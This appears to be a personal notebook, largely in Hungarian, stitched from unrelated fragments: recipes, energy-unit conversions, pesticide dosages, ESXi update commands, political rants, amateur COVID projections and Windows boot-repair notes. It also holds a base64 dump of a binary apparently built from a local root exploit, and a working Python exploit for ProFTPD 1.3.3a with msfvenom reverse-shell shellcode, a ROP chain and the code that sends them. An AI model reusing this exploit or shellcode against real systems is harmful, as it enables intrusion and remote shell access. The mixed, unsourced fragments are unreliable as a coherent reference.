AgANAIsAAAAAAAAAAAAAAAQA8f+WAAAAFJ8ECAAAAAABABIApAAAAByfBAgAAAAAAQATALIAAAAk
nwQIAAAAAAEAFAC/AAAARKAECAEAAAABABkAzgAAAECgBAgAAAAAAQAYANUAAADAhQQIAAAAAAIA
DQDrAAAA8IUECAAAAAACAA0AiwAAAAAAAAAAAAAABADx//cAAAAYnwQIAAAAAAEAEgAEAQAAIJ8E
CAAAAAABABMAEQEAAKSKBAgAAAAAAQAQAB8BAAAknwQIAAAAAAEAFAArAQAAEIoECAAAAAACAA0A
OwAAAAAAAAAAAAAABADx/0EBAAAAAAAAAAAAAAQA8f92AQAAAAAAAAAAAAAEAPH/fQEAABSGBAie
AQAAAgANAIkBAABIoAQIBAAAAAEAGQCNAQAATKAECAQAAAABABkAkQEAAPSfBAgAAAAAAQIXAKcB
AAAUnwQIAAAAAAACEQC4AQAAFJ8ECAAAAAAAAhEAywEAACifBAgAAAAAAQIVANQBAAAAAAAAIwAA
ABIAAADrAQAAOKAECAAAAAAgABgA9gEAAAAAAABnAAAAEgAAAAYCAACQiQQIBQAAABIADQAWAgAA
cIUECAAAAAASAA0AHQIAAAAAAABLAAAAEgAAADECAAAAAAAAAAAAACAAAABAAgAAAAAAAAAAAAAg
AAAAVAIAAFiKBAgEAAAAEQAPAFsCAAA8igQIAAAAABIADgBhAgAAAAAAAJ8BAAASAAAAfgIAAAAA
AABbAQAAEgAAAI8CAAAAAAAA0wAAABIAAAChAgAAXIoECAQAAAARAA8AsAIAADigBAgAAAAAEAAY
AL0CAAAAAAAAKwAAABIAAADQAgAAAAAAAEIAAAASAAAA4gIAAAAAAAA/AAAAEgAAAPQCAAA8oAQI
AAAAABECGAABAwAAoIkECGkAAAASAA0AEQMAAAAAAAARAAAAEgAAACMDAAAAAAAAQwAAABIAAAA4
AwAARKAECAAAAAAQAPH/RAMAAFCgBAgAAAAAEADx/0kDAABEoAQIAAAAABAA8f9QAwAAAAAAAOIA
AAASAAAAYAMAAAmKBAgAAAAAEgINAHcDAAAAAAAAEQAAABIAAACJAwAAsocECNkBAAASAA0AjgMA
AGiEBAgAAAAAEgALAABhYmktbm90ZS5TAHN1c2Utbm90ZS5TAC4uL3N5c2RlcHMvaTM4Ni9lbGYv
c3RhcnQuUwBpbml0LmMAaW5pdGZpbmkuYwAvdXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGliYy0y
LjUvY2MtbnB0bC9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9M
SVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjU3NTIAcC41NzUwAF9f
ZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9f
AF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC91c3Ivc3Jj
L3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jYy1ucHRsL2NzdS9jcnRuLlMAOTU0NS5jAGNoYW5n
ZV9jcmVkAHVpZABnaWQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9faW5pdF9hcnJheV9lbmQAX19p
bml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGdldHBhZ2VzaXplQEBHTElCQ18yLjAAZGF0YV9zdGFy
dABtbWFwQEBHTElCQ18yLjAAX19saWJjX2NzdV9maW5pAF9zdGFydABzZW5kZmlsZUBAR0xJQkNf
Mi4xAF9fZ21vbl9zdGFydF9fAF9Kdl9SZWdpc3RlckNsYXNzZXMAX2ZwX2h3AF9maW5pAF9fbGli
Y19zdGFydF9tYWluQEBHTElCQ18yLjAAZXhlY2xAQEdMSUJDXzIuMABwZXJyb3JAQEdMSUJDXzIu
MABfSU9fc3RkaW5fdXNlZABfX2RhdGFfc3RhcnQAbWtzdGVtcEBAR0xJQkNfMi4wAHNvY2tldEBA
R0xJQkNfMi4wAHVubGlua0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2luaXQA
Z2V0dWlkQEBHTElCQ18yLjAAZnRydW5jYXRlQEBHTElCQ18yLjAAX19ic3Nfc3RhcnQAX2VuZABf
ZWRhdGEAZXhpdEBAR0xJQkNfMi4wAF9faTY4Ni5nZXRfcGNfdGh1bmsuYngAZ2V0Z2lkQEBHTElC
Q18yLjAAbWFpbgBfaW5pdAA=boldi@linux-xm7e:~/h> file 9545
9545: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.4, dynamically linked (uses shared libs), for GNU/Linux 2.6.4, not stripped
boldi@linux-xm7e:~/h> uname -a
Linux linux-xm7e 2.6.18.2-34-default #1 SMP Mon Nov 27 11:46:27 UTC 2006 i686 i686 i386 GNU/Linux
boldi@linux-xm7e:~/h> cat /etc/su
sudoers susehelp.d/ suseRegister.conf suspend.conf
boldi@linux-xm7e:~/h> cat /etc/SuSE-release
openSUSE 10.2 (i586)
VERSION = 10.2
30 deka sushi rizst lemérek, átmosom többször, majd mérlegen felöntöm hogy 90 deka legyen a rizzsel együtt (60 deka víz).
Egy másik lábasban 3 púpozott kávéskanál só, 37,5 g cukor és 0,75 rizsecetet felmelegítek, hogy feloldódjon a cukor, só.
A rizst megfőzöm, nem 15 perc, hanem kb. 11 után már kezdett tapadi. Akkor ráöntöttem az ecetes cuccot és lefedve a szobában tartottam 15 percig. Aztán kivittem a teraszra hűteni (télen).
Ezen a recepten alapul:
https://www.egzotikusfuszerek.hu/hu/receptek-page-10/jo_tudni-blogcat-14/sushi_rizs_helyes_fozese__elkeszitese-blog-289/
Teaser video https://fb.watch/okUAFlgRF2/
Egy csomó mindent nem nevezünk a nevén, hazugságban élünk, elkezdek gyűjteni egy listát róla:
-A gépész a legritkább esetben dolgozik gépekkel
-A kőműves szinte sose kövekkel ügyködik
-A műegyetem valódi
-Einstein nem elméleti fizikus, hanem nagyon is valódi volt
-A Katasztrófavédelem úgy tudom egy katasztrófát sem védett meg
-A villamosmérnökök többsége sosem tervez villamost
-A szivattyú többnyire tolattyú, vagy pumpa
-Az izzó már nem izzik, az égő nem ég
-Az internetes rádió nem használ semmilyen rádióhullámot közvetlenül, és nem is sugároz
-Az ivóvíz nem iszik.
-A villanyszerelő nem szereli az elektromos áramot vagy elektronokat, csak vezetékeket meg szerelvényeket
-A jegyző a legritkább esetben szokott jegyzeteket csinálni
-Az áramvédőkapcsoló nem védi az áramot, sőt, megszakítja.
egy 1,6 kg os sertés combot picit lenyestem a zsírokról
utána nagyon besóztuk de atomikusan
aztán összeraktunk egy száraz rubot
bors sok, kömény, kevés majoranna, fokhagyma por, pici rozmaring, meg még volt vmi
aztán ezt bedörzsöltük a sós húsba
ja sok a bors arányaiban
feflfőzőtt 2 dl sört kis vízzzel és tyúkleveskockával , amit mellé öntöttünk a tepsiben
plusz egy fej hagymát mellédaraboltunk, a húsba meg talán egy kis fokhagymát is raktunk
és a tepsit is felnyomtuk
majd 150 fokon kezdtük nyomni
sütőben de 130.- ra visszahúztuk
no de előtte a berakás előtt bekerült pár szem borókabogyó
kb 4 órát sült,
szétfoszotttuk
50 deka geszenyemassza, 50 deka sertés darált hús, 50 deka bacon, 2×850 g pulykamell filé. A pulykamell filét többször vágva kb . 30 cmx 60 cm darabokra vágtuk és klopfoltuk, sóztuk, borsoztuk.
A nagyobb tepsibe madzagokat rakott anita, rá bacont, ráraktuk a húst.
A töltelékhez 1 tojást, a sertés húst , gesztenyemasszát raktunk, bele feketebors, kakukkfű, fokhagymaport, só, 1 zsemle áztatott-nyomkodott
megspékeltük egy rozmaringággal
több mint egy órát sütöttük először 150 fok hőlég
2023: 150 fok hőlég kb. 20 perc. utána 165 fok alsó sütés 25 perc. majd felső grill hőlég 185 fok 25 perc. szaftosabb lett.
2024: raktam bele szerecsendiót, meg a töltelékbe is kerültek rozmaringlevelek, ja és vagy 50 deka bacont használtunk.
2023
2024
Hagymát szalonnával megpárolok, rárakom a húst (60 dkg s.comb) és magas hőmérsékleten kicsit megpróbálom megpirítani, aztán fokhagyma, pirospaprika, só, víz, bors, viszonylag sok kömény, babérlevél, fehérbor, tárkony, kis kapor, kis petrezselyem, almaecet, főzöm 1 órát vagy 1,5-et, aztán répakarika (1 répa volt), 10 perccel később krumpli (2 krumpli volt), 14 perccel később fagyasztott zöldbab. (kb 25 dkg kellett) Azzal 10 perc főzés és kész is. többször raktam bele sót és ecetet, sőt még tárkonyt is, ahogy egyre több víz is volt benne.
1 MJ = 0.2778 kWh, 1 kWh = 3.6 MJ
34 MJ (1m3 gáz) = 9,4452 kWh
1 m3 gáz = 35 MJ = kb. 9,5 kWh = kb. 2,1 kg brikett
1 kg brikett = 15-18 MJ = kb. 4,5 kWh
1 kWh áram = 4,2 kWh fűtési teljesítmény klímával
1700 m3 gáz = 57800 MJ kb. = 15300 kWh
1000 m3 gáz = 34000 MJ = 9000 kWh => klímával 2142 kWh
lignit 12,5 MJ/kg
gyertyán 15,8 MJ/kg bükk 15,6 tölgy 15,1 akác 14,2 pellett 17,5
gáz régi ára: 100 Ft /m3
Gáz új ára: 750 Ft /m3
Áram régi ára: 36 Ft/kWh (alap áram díja 14-5 ft a többi szállítási)
Áram új ára kb 75 Ft.
“Egy 11,5 kg töltetsúlyú háztartási palackban lévő PB-gáz fűtőértéke egyenértékű 14,5 liter olaj, 150 kWh villamos energia, vagy 50 kg fa fűtőértékével.” tehát 1 kg kb 13 kWh
van egy olyan problémám már évek óta amit definiálni sem tudtam
de most végre nagyjából sikerült rájönni
szóval ha egy chrome ablakban youtube videót full screen nézek
és alt-tabbal átváltok egy másik taszkra mert mondjuk épp tutorialt nézek
akkor az alt-tab nem dob vissza a videóra, sőt nem is látszik a listán a video a cuccok között
úgy szoktam csak megtalálni hogy lent rákattintok a chrome-ra és ott kikeresem az ablaklistából
na rákeresve a gondra semmi igazán hasznosat nem találtam, kivéve egy workaroundot
meg kell nyitni valami sima dolgot pl. facebook is f11 full screennel
és ettől megjelenik a video is az alt-tabnál
Mindenki tudja mi lesz a helyzet, aki odafigyel, de a politika közbeszól.
Nincs itt semmi látnivaló, 2020 márciusban zártunk, de most tudományos szintű tény, hogy nincs szükség korlátozásokra, és nem lehet előre látni semmi veszélyeset…. Nézzük meg a 2020 márciusi részt az utolsó ábrán. Ja, hogy nem látszik a grafikonon, mert eltörpül a mai adathoz. Nincs itt semmi látnivaló, lehet hazamenni, én vagyok a rektor és díjakat is kaptam!
[root@localhost:~] esxcli software sources profile list -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml |
grep ESXi-7
ESXi-7.0U1sc-17325020-standard VMware, Inc. PartnerSupported 2020-12-15T10:50:21 2020-12-15T10:50:21
ESXi-7.0bs-16321839-no-tools VMware, Inc. PartnerSupported 2020-06-02T05:57:00 2020-06-02T05:57:00
ESXi-7.0U2a-17867351-no-tools VMware, Inc. PartnerSupported 2021-04-29T00:00:00 2021-04-09T05:56:10
ESXi-7.0U1b-17168206-no-tools VMware, Inc. PartnerSupported 2020-11-11T11:34:51 2020-11-11T11:34:51
ESXi-7.0b-16324942-no-tools VMware, Inc. PartnerSupported 2020-06-02T17:26:43 2020-06-02T17:26:43
ESXi-7.0bs-16321839-standard VMware, Inc. PartnerSupported 2020-06-02T05:57:00 2020-06-02T05:57:00
ESXi-7.0.1-16850804-standard VMware, Inc. PartnerSupported 2020-09-04T18:28:17 2020-09-04T18:28:18
ESXi-7.0.0-15843807-standard VMware, Inc. PartnerSupported 2020-03-16T10:48:54 2020-03-16T10:48:54
ESXi-7.0U1a-17119627-standard VMware, Inc. PartnerSupported 2020-11-01T08:18:49 2020-11-01T08:18:49
ESXi-7.0U1d-17551050-standard VMware, Inc. PartnerSupported 2021-02-01T18:29:07 2021-02-01T18:29:07
ESXi-7.0b-16324942-standard VMware, Inc. PartnerSupported 2020-06-02T17:26:43 2020-06-02T17:26:43
ESXi-7.0U1sc-17325020-no-tools VMware, Inc. PartnerSupported 2020-12-15T10:50:22 2020-12-15T10:50:22
ESXi-7.0U1a-17119627-no-tools VMware, Inc. PartnerSupported 2020-11-01T08:18:49 2020-11-01T08:18:49
ESXi-7.0U1c-17325551-no-tools VMware, Inc. PartnerSupported 2020-12-15T12:44:20 2020-12-15T12:44:20
ESXi-7.0.1-16850804-no-tools VMware, Inc. PartnerSupported 2020-09-04T18:28:19 2020-09-04T18:28:19
ESXi-7.0.0-15843807-no-tools VMware, Inc. PartnerSupported 2020-03-16T10:48:54 2020-03-16T10:48:54
ESXi-7.0U1b-17168206-standard VMware, Inc. PartnerSupported 2020-11-11T11:34:51 2020-11-11T11:34:51
ESXi-7.0U1c-17325551-standard VMware, Inc. PartnerSupported 2020-12-15T12:44:19 2020-12-15T12:44:19
ESXi-7.0U1d-17551050-no-tools VMware, Inc. PartnerSupported 2021-02-01T18:29:08 2021-02-01T18:29:08
ESXi-7.0U2a-17867351-standard VMware, Inc. PartnerSupported 2021-04-29T00:00:00 2021-04-29T00:00:00
[root@localhost:~] esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml -p ESXi-
7.0U2a-17867351-standard
ESXi-7.0U3g-20328353-standard VMware, Inc. PartnerSupported 2022-09-01T00:00:00 2022-09-01T00:00:00
ESXi-7.0U3g-20328353-no-tools VMware, Inc. PartnerSupported 2022-09-01T00:00:00 2022-08-23T03:00:16
[root@localhost:~] esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml -p ESXi
-7.0U3g-20328353-standard
pdate Result
Message: The update completed successfully, but the system needs to be rebooted for the changes to be effective.
Reboot Required: true
Egy államfőt alapvetően illik szuperlatívuszokkal értékelni. Általában mindenki megelégedésére egy olyan ember aki összesíti a véleményét ellenzékieknek és az uralkodó párt véleményét is, továbbá törvényes ura valamifajta erkölcsi alapelveknek. Göncz Árpád ilyen volt. Áder János pedig egy bajszos szar. Kiszolgálója a Fidesznek, egy semmi, senki, sőt sajna rosszabb, egy ellendrukker a demokrációban. Nem köszönöm meg a munkáját, menjen a picsába. Ennyit ér. Semmit, pinafingot. és most nem durva vagyok, hanem szerintem ez az alaphang, mert még nem durvább véleményt formálok. Áder János nem megbukott hanem egy balfasz aki kiszolgál mindent. Ilyen nem való államfőnek, államtitkárnak sem. Kanyi garast nem adnék érte. Ennyit erről. Ő nem államfő, hanem havernak is vállalhatatlan. Göncz Árpád államfő volt. Őt postban sem kritizálnánám.
Vénuszkagylós spagetti. sok oliván 4 gerezd fokhagymát picit megpirítottam, volt rajta egy karika csípős paprika is. Erre ráöntöttem a 35 deka vénuszkagylót (köszi Vörös Homár!), ezzel 1-2 percig forgatgattam, majd ráöntöttem fehérbort, egy olasz paradicscomkonzervet (roma vf szerű egész darabok voltak benne), gondolom sóztam, végül rászűrtem a kb. 40 deka főtt tésztát, picit átforgattam és kész is.
jó volt a 4,5 , még picit sok is néhol de mondjuk mika szerint néhol meg kevés
veszel hack törzset pl. mi lidl-ből 1 kg
előszeded és berakod egy műanyag dobozba
felöntöd mérlegen mért 4,5%-os sóoldattal
tehát literenként 45 g só
ebbe berakod a hekk darabokat és egy éjszakára berakod a hűtőbe
ki is olvad meg be is sózódik
(előtte maradhat a konyhapulton is olvadni egy-két órát)
aztán sok olajat kell rakni egy kisebb de magas edénybe
a halakat kettévágni (nekem még belezni is kellett mert nem volt tökéletes)
lecsöpögtetni
és most paprikás kukoricalisztbe forgattuk
aztán olajban kisütni
7-8 perc
a lényeg, hogy ha az olaj hőmérséklete leesik 120-ra akkor azért fel kell húzni 145-150-re
és amikor már nem annyira bugyog azon a hőmérsékleten sem akkor készen van
10 liter
chorus 75 wg 3g/10l
score 2,5 ml/10l
Topas ->chorus utan 5ml/10l
5ml -es score (14 napos)
mospilan 2g (14 nap max)
karate zeon 5ml (5 nap kb.)
signum wg 10-20g 7-14 nap
2g atcara kb
2ml cyperkill
nonit 2,5 ml-10l
wuxal 30 l-egy kupak /10l
thiovit jet 30-50g
switch 10g/10l (szőlőben 21 nap, máshol rövidebb)
Dagonis 6g/10l
topas 5ml/10l
sherpa 10ml/10l
gyep:
amistar 10ml / 7-10 liter
dithane m45 (mankozep) 20 ml/10l
Már nem akarok facebookra írni, mert igazából csak emléknek akarom megőrizni a gondolataimat, nem akarok senkit meggyőzni. Meggyőződésem, hogy a mostani rohanás, hogy ki kell nyitni egyszerűen abból fakad, hogy a kormányzat nem tudja megállítani a gazdaság bedőlését és sokan vannak kilátástalan helyzetben. Azt is látni kell azonban, hogy lenne elég pénz a megmentésükre, csak azért nem akarják mert egyrészt nem akarják ideológiailag, mert mi munka alapú társadalom kell, hogy legyünk – hiába a sok léhűtő, másrészt nem akarják feladni a filozófiájukat, harmadrészt és talán ez a súlyosabb, gazdaságilag nemzetközi segítségeket kellene igénybe venni, hitel, bármi, és akkor már nem lenne OV a magyar világ ura, számonkérhető is lehetne. Tehát inkább dögöljön meg bármennyi magyar, de a hatalmat biztosítani kell. Örökre. Érdekes módszer, de visszaüthet. Visszaüthet, mert a nyitásokkal elszabadulnak a fertőzések. És mivel megint nem nem gondolják át a dolgokat, úgy gondolják, 1-2 hét múlva a halottak számából el fogják tudni dönteni, hogy minden oké-e. A rossz hír, hogy tömegesen a nyitás után inkább csak úgy 2 hét múlva fertőződnek meg, 1 hétig tünetmentesek és 4-6 hét múlva halnak meg. Tehát ha azt nézzük, hogy mi van a halálozásban, akkor egy május eleji nyitás hatását majd nézzük meg úgy kb 8 hét múlva. július elején, közepén. És aki akkor azt fogja mondani, hogy de hát ez valami hirtelen jött dolog, akkor annak nem lesz igaza. Mindenki maradjon otthon, nincs okunk a lazításra azon kívül hogy sokan a gazdasági kezeletlen válság miatt lassan éhenhalnak. De úgy emlékszem volt ember aki pár hete még azt mondta, hogy az emberi élet az első. Most viszont egy ideje ezt nem hallottam.
Kiindulálsi dolgok: kínai adatok mind pontatlanok, hasonlóképpen az irániak, tehát abból mindent el kell felejteni. A fertőzöttségi adatok pontatlanok: Magyarországon, Amerikában és ennéll kisebb mértékben de mindenhol máshol is. Pl. bárhol, ahol nem tesztelnek eleget. Tehát az kályha maradhat Hong Kong vagy Szingapúr, ahogy annyit teszteltek amennyit lehet és az adataikat sem annyira hamisítják tálán. Itt kb. 1% a halálozás. Tehát ne arra fordítsuk a figyelmet, hogy a ferzőzöttek számából és a halottakból megállapítsuk a halálozást, hanem a halálozást tekintsük konstansnak, azon módosítások mellett, hogy ahol rossz az ellátás, vagy túl sok a beteg, ott rosszabb lesz, ahol meg kezdeti stádiumban van, ott még 1% sincs.
Ok. na akkor jön az időbeli eltolódás kérdése. Aki ma meghal, azt tipikusan 2 hete van kórházban és azelőtt 2 héttel fertőződött meg (itt nagyon sokat jelemt ha nem 2 hanem 3 vagy 1, de egyszerűen nincs adat)
Tehát 1 ember ha meghal, 1% fertőződséggel azt jelenti hogy négy hete 100 fertőzött volt aki terjesztette a kórt. (még fertőző volt)
Viszont az elmúlt 4-5 hétben az ellenintézkedések ellenére, és előtte is nagyjából a heti duplázódás, napi 1,1x (10% -os ) növekedés volt a jellemző a fertőzöttekben és az elhalálozottakban, exponenciális növekedés, az ellenintézkedések ellenére. Ennek mindenképpen le kell csengenie, vagy az ellenintézkedések miatt, vagy a sok fertőzött miatt, sok oka lehet, de most még nem tartunk ott, most amit látunk, lehet, hogy nem mai adat, hanem több héttel ezelőtti. Ezért van, hogy elbizakodottak a vezetők és úgy érzik még nem fog nagyságrendi ugrás következni. Ja, ha a most látott dolgokat ami 4 hete 18ezer fertőzöttnél volt nézik, de nem értik meg, hogy most 600 ezer magyar fertőzötött is lehet, és hogy azok nem ma betegek nagyon, hanem 2-3 hét múlva, akkor lehet mondani, hogy nem számítanak tömeges gondokra. Én számítok. Nem ezért mert én ellendrukker vagyok, hanem én megpróbálom a valóságot és a matematikát egyberakni, nem a jószándékomat.
Na tehát ha 4 hétig duplázódik egy fertőzés az 16x növekedés, de szerintem kerekítsük 20x-ra. Tehát ha meghal egy ember és 1:100 fertőzött halt meg, akkor 2000 ember volt fertőzött 4 hete abból aki ma halt meg. De itthon ugye még a halottak száma is kamu, nem tesztelik, nem veszik nyilvántartásba csak a teljesen evidens eseteket. Ez egy csernobil-párti logika, de ők akarják, legyen. Akkor nem 2000-rel, hanem 4000-rel érdemes megszorozni a halottak számát, hogy megtudjuk hány ember esett át a fertőzésen, és ebből 3/4 még új és fertőző megbetegedés a modellemben. Nem ennyi van, hanem az én matematikai modellem ezt dobja. Majd utólag mondja meg más, hogy ha én becsültem túl, de a mostani újságcikkek pár ezres fertőzöttségével ez azért nagyságrendileg más. És magyarázhat is pár mozzanatot az egészségügyben. Szóval ha mondjuk 189, akkor az 756 000 fertőzötted dob. És valóban, egyetértek Orbánékkal, ha ez duplázódik, akkor 3-4 hét múlva már olyan sok fertőzött lesz, hogy az kiteszi az ország jelentős részét és akkor már nem fog tudni duplázódni hetente. Lehet, hogy ezt tudósok a kormánynak is megmondták, sajnálatos, hogy az ország tudósait és állampolgárait is óvodásnak nézik, akik ne akarják honnan jön a télapó. ápr 20 750k , ápr 27 1,5 M , máj 4 3 millió, innen lelassul a terjedés de a halottak száma növekedése is még hetekig nő, úgy 3 hétig. aztán lelassulhat, de akkor sem kell még úgy gondolkozni , hogy megszűnik, mert innen kezd lelassulni és problémás lenni a dolog úgy, hogy tömegek nem fogják elfogadni a lezárásokat. Problémás lesz a nyár.
Csokis lávasüti
Gordon Ramsay féle:
10 dkg étcsoki
10 dkg vaj
3 egész kis tojás
12 dkg cukor
Csipet só
Forma kikenése vastagon vajjal, kakaóporral.
Vajat és étcsokit gőz fölött felolvasztjuk, kb 10 perc alatt lehűljük.
Tojásokat cukorral és sóval habosra keverjük, összekeverjük a vajas csokival.
Beleszitáljuk a lisztet, formákba adagoljuk.
200 fokra előmelegített sütőben 12-15 perc alatt készre sütjük (legyen kérge, ne rezegjen a teteje, belseje folyjon).
Lanset America Corporation. Home of the brave spammers that use multiple source IP addresses to avoid RBLs to send out spam messages. No, not just one piece a day, but rather so heavily like no one else. Of course with domainkeys and link to report abuse. Thank you Lanset, go to hell.
Stats of half a day of firewall logs on how many connection trials are coming from their network:
57270 3436K DROP tcp — * * 63.81.80.0/20 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 70.98.78.0/23 0.0.0.0/0 tcp dpt:25
710 42600 DROP tcp — * * 70.102.102.0/23 0.0.0.0/0 tcp dpt:25
31452 1887K DROP tcp — * * 63.83.72.0/21 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 63.82.48.0/21 0.0.0.0/0 tcp dpt:25
11507 690K DROP tcp — * * 63.80.88.0/23 0.0.0.0/0 tcp dpt:25
47722 2863K DROP tcp — * * 63.80.184.0/21 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 209.210.24.0/23 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 208.187.244.0/23 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 208.187.160.0/21 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 208.186.112.0/23 0.0.0.0/0 tcp dpt:25
121K 7278K DROP tcp — * * 69.94.128.0/19 0.0.0.0/0 tcp dpt:25
0 0 DROP tcp — * * 80.98.100.0/24 0.0.0.0/0 tcp dpt:25
Ezer recept van, fel kell írnom hogy csinátam. Vettem egy 2 kg-os káposztát és egy karfiolt, és erre akarjuk rárakni a zöld sütőtököket (bébi).
5 liter víz, 500 g. cukor, 350 g. só, 750 ml víz, 750 ml 20% ecet. Az ecet nem fért a felforralt cuccba így külön raktam bele. 3 kávéskanál borkén. 1 csomag nabenzoát (helyett 15g szalicil), torma, stb. káposzta sárgarépa és aprított zöld sütőtök.
https://maradokapenzemnel.blog.hu/2019/06/27/nagy_grillsajt_teszt Hajdú natúr, Tesco, Lidl-Bluedino.
https://maradokapenzemnel.blog.hu/2019/07/19/nagy_fustolt_grillsajt_teszt Karaván füstölt grill sajt
https://divany.hu/lajfhekk/2019/06/11/grillsajtok-tesztje/ Tihany válogatás grill camambert, Karaván grillkoron paradicsomos, Karaván grillkorong natúr,
https://divany.hu/lajfhekk/2019/06/24/csokolades-jegkremek-tesztje/ Spár prémium, Vienetta, Magnum poharas
https://divany.hu/lajfhekk/2019/05/13/kola-teszt/ penny drinky cola
https://divany.hu/lajfhekk/2019/05/06/csemegeuborka-teszt/ uborka- Eko, spar, penny
https://divany.hu/lajfhekk/2019/04/29/csilis-bab-teszt/ bonduelle bon chilis bab, heinz csípős sült bab, el sabor, auchan tuti tipp
https://divany.hu/lajfhekk/2019/03/19/almale-teszt/ Penny apfel 100, spar 100%, Lidl solevita
https://maradokapenzemnel.blog.hu/2019/06/13/sajtos_grillkolbasz_teszt Zimbo sajtos, ALDI BBQ sajtos, SPAR BBQ kasekrainer (aldi olcsó)
https://maradokapenzemnel.blog.hu/2019/07/10/nagy_irsai_oliver_borteszt FONT, Bognár, Ostorosbor
https://maradokapenzemnel.blog.hu/2019/06/11/nagy_kave_teszt Auchan Arabica, Omnia Barista, Penny Casa Blanka, LIDL Bellarom Columbian Supremo
https://maradokapenzemnel.blog.hu/2019/04/17/nagy_husveti_tormateszt Auchan tájaink ízei- kun, Koch’s asztali erős, ALDI le gusto, Koch’s másik, Lidl Kania
import sys, socket
# Use in the form “python .py
host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user
# Target: ProFTPD 1.3.3a Server (Debian) – Squeeze Beta1
#payload disablenop + badchars \x09\x0a\x0b\x0c\x0d\x20\xff
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.33 LPORT=1234 CMD=/bin/sh -b ‘\x09\x0a\x0b\x0c\x0d\x20\xff’ -f python
import random
import string
buf = “”
buf += “\xba\x7f\xd0\x96\x36\xda\xd1\xd9\x74\x24\xf4\x5e\x29”
buf += “\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x29\xde\x74”
buf += “\xc3\xe4\x05\x8f\xcf\x55\xf9\x23\x7a\x5b\x74\x22\xca”
buf += “\x3d\x4b\x25\xb8\x98\xe3\x19\x72\x9a\x4d\x1f\x75\xf2”
buf += “\x47\xd4\x85\x23\x30\xe8\x85\x27\x12\x65\x64\x97\xf4”
buf += “\x26\x36\x84\x4b\xc5\x31\xcb\x61\x4a\x13\x63\x14\x64”
buf += “\xe7\x1b\x80\x55\x28\xb9\x39\x23\xd5\x6f\xe9\xba\xfb”
buf += “\x3f\x06\x70\x7b”
payload = buf
IACCount = 4096+16
Offset = 0x00001028 # 0x102c-4
Ret = “\x47\xa5\x05\x08” #’0x805a547′
Writable = “\xa0\x81\x0e\x08” # “‘0x80e81a0’ #data
RopStack = ‘\xcc\xcc\xcc\xcc’ + ‘\x44\xa5\x05\x08’ + ‘\xcc\xcc\xcc\xcc’ *3 + ‘\x86\x88\x06\x08’ *4
RopStack += “\x8e\xbd\x05\x08” * 16 + “\x6c\xc2\x05\x08”
# Writable is here
# { 0xcccccccc, # unused
# 0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
# 0xcccccccc, # becomes ebx
# 0xcccccccc, # becomes esi
## 0xcccccccc, # becomes ebp
# # quadruple deref the res pointer 
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# # skip the pool chunk header
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
#
# # execute the data
# 0x0805c26c, # jmp eax
# }
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(5)
client.connect((host,port))
banner= client.recv(1024)
print banner
#client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses
buf = ‘SITE ‘
#no cookieoffset buf += “\x8d\xa0\xfc\xdf\xff\xff”
buf += payload
if (len(buf) %2 ==0):
buf += ‘A’
buf += “\xff” *(IACCount – len(payload))
rndb = (Offset – len(buf))
buf += “\x41” * rndb
addrs = Ret + Writable + RopStack
buf += addrs + “\r\n”
client.send(buf);
gparteddel átraktam minden partíciót ssd.re, de nem működött. Particiós kódokat variáltam, a fő part ef00 volt 0700 lett, nem segített. bootrec /rebuildbcd nem segített, mindig hibát dobott. egy idő után a pen drive se bootolt be, 98-as hibát adott. efi windows telepítő pen drive legalább betöltött. diskpart -ban minden vol-nak lett drive neve, az efi lett a c, a windows a d. ez itt még nem volt gond.
volt ilyen: de szerintem nem fontos
bootrec /fixboot
igen, az efi drive microsoft boot-ban a bcd-t átneveztem
Step 7. Input ren BCD BCD.bak and press Enter to change the name of BDC file from BCD to BCD.bak file.
Step 8. Input bcdboot c:\Windows /l en-us /s m: /f ALL
